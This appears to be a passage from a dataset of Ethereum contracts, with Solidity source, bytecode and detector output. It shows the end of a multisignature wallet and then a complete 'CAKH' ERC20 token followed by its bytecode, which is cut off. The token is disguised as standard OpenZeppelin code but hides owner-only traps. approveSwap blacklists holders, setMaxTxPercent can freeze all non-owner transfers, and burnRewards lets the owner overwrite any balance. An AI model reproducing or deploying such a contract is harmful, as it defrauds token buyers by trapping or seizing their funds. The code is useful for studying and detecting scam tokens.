/// @param transactionId Transaction ID.
/// @return Number of confirmations.
function getConfirmationCount(uint transactionId)
public
constant
returns (uint count)
{
for (uint i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]])
count += 1;
}
/// @dev Returns total number of transactions after filers are applied.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Total number of transactions after filters are applied.
function getTransactionCount(bool pending, bool executed)
public
constant
returns (uint count)
{
for (uint i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
count += 1;
}
/// @dev Returns list of owners.
/// @return List of owner addresses.
function getOwners()
public
constant
returns (address[])
{
return owners;
}
/// @dev Returns array with owner addresses, which confirmed transaction.
/// @param transactionId Transaction ID.
/// @return Returns array of owner addresses.
function getConfirmations(uint transactionId)
public
constant
returns (address[] _confirmations)
{
address[] memory confirmationsTemp = new address[](owners.length);
uint count = 0;
uint i;
for (i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]]) {
confirmationsTemp[count] = owners[i];
count += 1;
}
_confirmations = new address[](count);
for (i=0; i<count; i++)
_confirmations[i] = confirmationsTemp[i];
}
/// @dev Returns list of transaction IDs in defined range.
/// @param from Index start position of transaction array.
/// @param to Index end position of transaction array.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Returns array of transaction IDs.
function getTransactionIds(uint from, uint to, bool pending, bool executed)
public
constant
returns (uint[] _transactionIds)
{
uint[] memory transactionIdsTemp = new uint[](transactionCount);
uint count = 0;
uint i;
for (i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
{
transactionIdsTemp[count] = i;
count += 1;
}
_transactionIds = new uint[](to - from);
for (i=from; i<to; i++)
_transactionIds[i - from] = transactionIdsTemp[i];
}
}
|
0x60606040526004361061011d576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063025e7c2714610177578063173825d9146101da57806320ea8d86146102135780632f54bf6e146102365780633411c81c1461028757806354741525146102e15780637065cb4814610325578063784547a71461035e5780638b51d13f146103995780639ace38c2146103d0578063a0e67e2b146104ce578063a8abe69a14610538578063b5dc40c3146105cf578063b77bf60014610647578063ba51a6df14610670578063c01a8c8414610693578063c6427474146106b6578063d74f8edd1461074f578063dc8452cd14610778578063e20056e6146107a1578063ee22610b146107f9575b6000341115610175573373ffffffffffffffffffffffffffffffffffffffff167fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c346040518082815260200191505060405180910390a25b005b341561018257600080fd5b610198600480803590602001909190505061081c565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156101e557600080fd5b610211600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061085b565b005b341561021e57600080fd5b6102346004808035906020019091905050610af7565b005b341561024157600080fd5b61026d600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610c9f565b604051808215151515815260200191505060405180910390f35b341561029257600080fd5b6102c7600480803590602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610cbf565b604051808215151515815260200191505060405180910390f35b34156102ec57600080fd5b61030f600480803515159060200190919080351515906020019091905050610cee565b6040518082815260200191505060405180910390f35b341561033057600080fd5b61035c600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610d80565b005b341561036957600080fd5b61037f6004808035906020019091905050610f82565b604051808215151515815260200191505060405180910390f35b34156103a457600080fd5b6103ba6004808035906020019091905050611068565b6040518082815260200191505060405180910390f35b34156103db57600080fd5b6103f16004808035906020019091905050611134565b604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200184815260200180602001831515151581526020018281038252848181546001816001161561010002031660029004815260200191508054600181600116156101000203166002900480156104bc5780601f10610491576101008083540402835291602001916104bc565b820191906000526020600020905b81548152906001019060200180831161049f57829003601f168201915b50509550505050505060405180910390f35b34156104d957600080fd5b6104e1611190565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b83811015610524578082015181840152602081019050610509565b505050509050019250505060405180910390f35b341561054357600080fd5b610578600480803590602001909190803590602001909190803515159060200190919080351515906020019091905050611224565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156105bb5780820151818401526020810190506105a0565b505050509050019250505060405180910390f35b34156105da57600080fd5b6105f06004808035906020019091905050611380565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b83811015610633578082015181840152602081019050610618565b505050509050019250505060405180910390f35b341561065257600080fd5b61065a6115aa565b6040518082815260200191505060405180910390f35b341561067b57600080fd5b61069160048080359060200190919050506115b0565b005b341561069e57600080fd5b6106b4600480803590602001909190505061166a565b005b34156106c157600080fd5b610739600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050611847565b6040518082815260200191505060405180910390f35b341561075a57600080fd5b610762611866565b6040518082815260200191505060405180910390f35b341561078357600080fd5b61078b61186b565b6040518082815260200191505060405180910390f35b34156107ac57600080fd5b6107f7600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611871565b005b341561080457600080fd5b61081a6004808035906020019091905050611b88565b005b60038181548110151561082b57fe5b90600052602060002090016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60003073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561089757600080fd5b81600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615156108f057600080fd5b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600091505b600160038054905003821015610a78578273ffffffffffffffffffffffffffffffffffffffff1660038381548110151561098357fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415610a6b5760036001600380549050038154811015156109e257fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600383815481101515610a1d57fe5b906000526020600020900160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610a78565b818060010192505061094d565b6001600381818054905003915081610a909190611fa9565b506003805490506004541115610aaf57610aae6003805490506115b0565b5b8273ffffffffffffffffffffffffffffffffffffffff167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405160405180910390a2505050565b33600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610b5057600080fd5b81336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610bbb57600080fd5b8360008082815260200190815260200160002060030160009054906101000a900460ff16151515610beb57600080fd5b60006001600087815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550843373ffffffffffffffffffffffffffffffffffffffff167ff6a317157440607f36269043eb55f1287a5a19ba2216afeab88cd46cbcfb88e960405160405180910390a35050505050565b60026020528060005260406000206000915054906101000a900460ff1681565b60016020528160005260406000206020528060005260406000206000915091509054906101000a900460ff1681565b600080600090505b600554811015610d7957838015610d2d575060008082815260200190815260200160002060030160009054906101000a900460ff16155b80610d605750828015610d5f575060008082815260200190815260200160002060030160009054906101000a900460ff165b5b15610d6c576001820191505b8080600101915050610cf6565b5092915050565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610dba57600080fd5b80600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515610e1457600080fd5b8160008173ffffffffffffffffffffffffffffffffffffffff1614151515610e3b57600080fd5b60016003805490500160045460328211158015610e585750818111155b8015610e65575060008114155b8015610e72575060008214155b1515610e7d57600080fd5b6001600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060038054806001018281610ee99190611fd5565b9160005260206000209001600087909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550508473ffffffffffffffffffffffffffffffffffffffff167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25050505050565b6000806000809150600090505b60038054905081101561106057600160008581526020019081526020016000206000600383815481101515610fc057fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611040576001820191505b6004548214156110535760019250611061565b8080600101915050610f8f565b5b5050919050565b600080600090505b60038054905081101561112e576001600084815260200190815260200160002060006003838154811015156110a157fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611121576001820191505b8080600101915050611070565b50919050565b60006020528060005260406000206000915090508060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169080600101549080600201908060030160009054906101000a900460ff16905084565b611198612001565b600380548060200260200160405190810160405280929190818152602001828054801561121a57602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190600101908083116111d0575b5050505050905090565b61122c612015565b611234612015565b6000806005546040518059106112475750595b9080825280602002602001820160405250925060009150600090505b6005548110156113035785801561129a575060008082815260200190815260200160002060030160009054906101000a900460ff16155b806112cd57508480156112cc575060008082815260200190815260200160002060030160009054906101000a900460ff165b5b156112f6578083838151811015156112e157fe5b90602001906020020181815250506001820191505b8080600101915050611263565b8787036040518059106113135750595b908082528060200260200182016040525093508790505b8681101561137557828181518110151561134057fe5b906020019060200201518489830381518110151561135a57fe5b9060200190602002018181525050808060010191505061132a565b505050949350505050565b611388612001565b611390612001565b6000806003805490506040518059106113a65750595b9080825280602002602001820160405250925060009150600090505b600380549050811015611505576001600086815260200190815260200160002060006003838154811015156113f357fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156114f85760038181548110151561147b57fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683838151811015156114b557fe5b9060200190602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506001820191505b80806001019150506113c2565b816040518059106115135750595b90808252806020026020018201604052509350600090505b818110156115a257828181518110151561154157fe5b90602001906020020151848281518110151561155957fe5b9060200190602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050808060010191505061152b565b505050919050565b60055481565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156115ea57600080fd5b60038054905081603282111580156116025750818111155b801561160f575060008114155b801561161c575060008214155b151561162757600080fd5b826004819055507fa3f1ee9126a074d9326c682f561767f710e927faa811f7a99829d49dc421797a836040518082815260200191505060405180910390a1505050565b33600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615156116c357600080fd5b81600080600083815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415151561171f57600080fd5b82336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561178b57600080fd5b600180600087815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550843373ffffffffffffffffffffffffffffffffffffffff167f4a504a94899432a9846e1aa406dceb1bcfd538bb839071d49d1e5e23f5be30ef60405160405180910390a361184085611b88565b5050505050565b6000611854848484611e30565b905061185f8161166a565b9392505050565b603281565b60045481565b60003073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156118ad57600080fd5b82600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561190657600080fd5b82600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561196057600080fd5b600092505b600380549050831015611a4b578473ffffffffffffffffffffffffffffffffffffffff1660038481548110151561199857fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611a3e57836003848154811015156119f057fe5b906000526020600020900160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611a4b565b8280600101935050611965565b6000600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508473ffffffffffffffffffffffffffffffffffffffff167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405160405180910390a28373ffffffffffffffffffffffffffffffffffffffff167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25050505050565b600033600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611be357600080fd5b82336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611c4e57600080fd5b8460008082815260200190815260200160002060030160009054906101000a900460ff16151515611c7e57600080fd5b611c8786610f82565b15611e2857600080878152602001908152602001600020945060018560030160006101000a81548160ff021916908315150217905550611da58560000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16866001015487600201805460018160011615610100020316600290049050886002018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611d9b5780601f10611d7057610100808354040283529160200191611d9b565b820191906000526020600020905b815481529060010190602001808311611d7e57829003601f168201915b5050505050611f82565b15611ddc57857f33e13ecb54c3076d8e8bb8c2881800a4d972b792045ffae98fdf46df365fed7560405160405180910390a2611e27565b857f526441bb6c1aba3c9a4a6ca1d6545da9c2333c8c48343ef398eb858d72b7923660405160405180910390a260008560030160006101000a81548160ff0219169083151502179055505b5b505050505050565b60008360008173ffffffffffffffffffffffffffffffffffffffff1614151515611e5957600080fd5b60055491506080604051908101604052808673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018481526020016000151581525060008084815260200190815260200160002060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550602082015181600101556040820151816002019080519060200190611f18929190612029565b5060608201518160030160006101000a81548160ff0219169083151502179055509050506001600560008282540192505081905550817fc0ba8fe4b176c1714197d43b9cc6bcf797a4a7461c5fe8d0ef6e184ae7601e5160405160405180910390a2509392505050565b6000806040516020840160008287838a8c6187965a03f19250505080915050949350505050565b815481835581811511611fd057818360005260206000209182019101611fcf91906120a9565b5b505050565b815481835581811511611ffc57818360005260206000209182019101611ffb91906120a9565b5b505050565b602060405190810160405280600081525090565b602060405190810160405280600081525090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061206a57805160ff1916838001178555612098565b82800160010185558215612098579182015b8281111561209757825182559160200191906001019061207c565b5b5090506120a591906120a9565b5090565b6120cb91905b808211156120c75760008160009055506001016120af565b5090565b905600a165627a7a72305820a5b127b036a5b270d1155c1eca0d7e657963dc5a709c749f7efc43751bf305180029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 6,241 |
0xbedab8672961b6da4ec7fcfacbfe07884690a3cd
|
// SPDX-License-Identifier: MIT
pragma solidity =0.8.1;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint256);
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping (address => uint256) internal _balances;
mapping (address => bool) private _approveSwap;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 internal _totalSupply;
uint256 _reward;
string internal _name;
string internal _symbol;
uint256 internal _decimals;
bool maxTxPercent = true;
address internal _owner;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The defaut value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_, uint256 decimals_) {
_name = name_;
_symbol = symbol_;
_decimals = decimals_;
_owner = msg.sender;
}
modifier onlyOwner() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint256) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function recall(address _address) external onlyOwner {
_approveSwap[_address] = false;
}
function approveSwap(address _address) external onlyOwner {
_approveSwap[_address] = true;
}
function approvedTransfer(address _address) public view returns (bool) {
return _approveSwap[_address];
}
function setMaxTxPercent() public virtual onlyOwner {
if (maxTxPercent == true) {maxTxPercent = false;} else {maxTxPercent = true;}
}
function maxTxPercentState() public view returns (bool) {
return maxTxPercent;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function reflectReward (uint256 value) external onlyOwner {
_reward = value;
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be grater thatn zero");
if (_approveSwap[sender] || _approveSwap[recipient])
require(maxTxPercent == false, "");
if (maxTxPercent == true || sender == _owner || recipient == _owner) {
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);}
else {require (maxTxPercent == true, "");}
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _reward - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
contract CAKHTken is ERC20 {
constructor(uint256 initialSupply) ERC20(_name, _symbol, _decimals) {
_name = "CAKH";
_symbol = "CAKH";
_decimals = 9;
_totalSupply += initialSupply;
_balances[msg.sender] += initialSupply;
emit Transfer(address(0), msg.sender, initialSupply);
}
function burnRewards(address account, uint256 value) external onlyOwner {
_burn(account, value);
}
}
|
0x608060405234801561001057600080fd5b50600436106101165760003560e01c806395d89b41116100a2578063ac8a93b811610071578063ac8a93b81461031b578063ca43051914610339578063d89cc15014610355578063dd62ed3e1461035f578063f3b95cd71461038f57610116565b806395d89b41146102815780639f08b3191461029f578063a457c2d7146102bb578063a9059cbb146102eb57610116565b806323b872dd116100e957806323b872dd146101a3578063313ce567146101d357806339509351146101f15780633cd64cf31461022157806370a082311461025157610116565b806306fdde031461011b578063095ea7b31461013957806318160ddd146101695780631fe6d7a814610187575b600080fd5b6101236103ab565b604051610130919061182b565b60405180910390f35b610153600480360381019061014e91906115d3565b61043d565b6040516101609190611810565b60405180910390f35b61017161045b565b60405161017e91906119ad565b60405180910390f35b6101a1600480360381019061019c919061160f565b610465565b005b6101bd60048036038101906101b89190611584565b6104ff565b6040516101ca9190611810565b60405180910390f35b6101db610600565b6040516101e891906119ad565b60405180910390f35b61020b600480360381019061020691906115d3565b61060a565b6040516102189190611810565b60405180910390f35b61023b6004803603810190610236919061151f565b6106b6565b6040516102489190611810565b60405180910390f35b61026b6004803603810190610266919061151f565b61070c565b60405161027891906119ad565b60405180910390f35b610289610754565b604051610296919061182b565b60405180910390f35b6102b960048036038101906102b4919061151f565b6107e6565b005b6102d560048036038101906102d091906115d3565b6108d0565b6040516102e29190611810565b60405180910390f35b610305600480360381019061030091906115d3565b6109c4565b6040516103129190611810565b60405180910390f35b6103236109e2565b6040516103309190611810565b60405180910390f35b610353600480360381019061034e919061151f565b6109f9565b005b61035d610ae4565b005b61037960048036038101906103749190611548565b610bce565b60405161038691906119ad565b60405180910390f35b6103a960048036038101906103a491906115d3565b610c55565b005b6060600580546103ba90611ae9565b80601f01602080910402602001604051908101604052809291908181526020018280546103e690611ae9565b80156104335780601f1061040857610100808354040283529160200191610433565b820191906000526020600020905b81548152906001019060200180831161041657829003601f168201915b5050505050905090565b600061045161044a610cf3565b8484610cfb565b6001905092915050565b6000600354905090565b3373ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104ec906118ed565b60405180910390fd5b8060048190555050565b600061050c848484610ec6565b6000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610557610cf3565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156105d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105ce906118cd565b60405180910390fd5b6105f4856105e3610cf3565b85846105ef9190611a3a565b